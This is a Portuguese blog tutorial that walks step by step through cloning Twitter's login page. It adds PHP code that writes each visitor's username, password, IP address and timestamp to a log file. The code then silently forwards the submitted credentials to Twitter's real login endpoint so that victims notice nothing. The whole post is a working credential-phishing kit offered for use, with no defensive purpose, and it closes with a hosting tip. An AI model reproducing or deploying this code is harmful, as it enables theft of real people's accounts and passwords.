Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web PHP. Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".
Encontrei essa linha:
Código HTML:
<span>Nome de usuário ou e-mail</span>
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
Código HTML:
<form action="acao" method="método"> <!-- código do formulário --> </form>
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
Código HTML:
<form action="https://twitter.com/sessions?phx=1"
class="js-signin signin" method="post"> <fieldset class="textbox"> <label class="username js-username"> <span>Nome de usuário ou e-mail</span> <input class="js-username-field email-input" type="text" value=""
name="session[username_or_email]" autocomplete="on"></label> <label class="password js-password"> <span>Senha</span> <input class="js-password-field" type="password" value=""
name="session[password]"></label> </fieldset> <fieldset class="subchck"> <label class="remember"> <input type="checkbox" value="1" name="remember_me"> <span>Lembrar-me</span> </label> <button type="submit" class="btn submit">Entrar</button> </fieldset> <input type="hidden" name="scribe_log"> <input type="hidden" name="redirect_after_login" value=""> <div class="divider"></div> <p> <a class="forgot" href="http://twitter.com/account/resend_password">
Esqueceu sua senha?</a><br> <a class="mobile has-sms" href="http://twitter.com/account/complete">
Já utiliza o Twitter via mensagem de texto?</a> </p> </form>
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:
<form action="" class="js-signin signin" method="post">
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
Código PHP:
<?php
if(isset($_POST['session']['username_or_email'])
AND isset($_POST['session']['password'])) {
Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
Código PHP:
$_POST['username_or_email']; // name="username_or_email"
$_POST['session']['username_or_email']; //
Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.E outra: por que estamos utilizando '$_POST'? Lembra-se do método do formulário (post)?
name="session[username_or_email]"
E se o método fosse 'get', usaríamos '$_GET'.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
Código PHP:
$login = $_POST['session']['username_or_email'];
$senha = $_POST['session']['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date("d/m/Y H:i:s");
Código PHP:
$abrir = fopen("log.txt", "a+"); // abrimos o arquivo para edição,
adicionando novo conteúdo sem apagar o conteúdo anterior
fwrite($abrir,
"\nLogin: $login
Senha: $senha
IP: $ip
Data: $data\n"); // adicionamos uma linha ao início e ao final,
para separar melhor com 2 linhas cada registro ('\n' é o mesmo que um Enter)
fclose($abre); // fechamos o arquivo
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
Código PHP:
header("Location: https://twitter.com/sessions?phx=1", TRUE, 307);
exit; // em seguida, vamos parar a execução
} // e fechar a condicional 'IF'
// aí abaixo, o código original da página fake:
?>
<!DOCTYPE html>
(...)
hospedagem tem que ser com suporte php
ate mais.
0 comentários:
Postar um comentário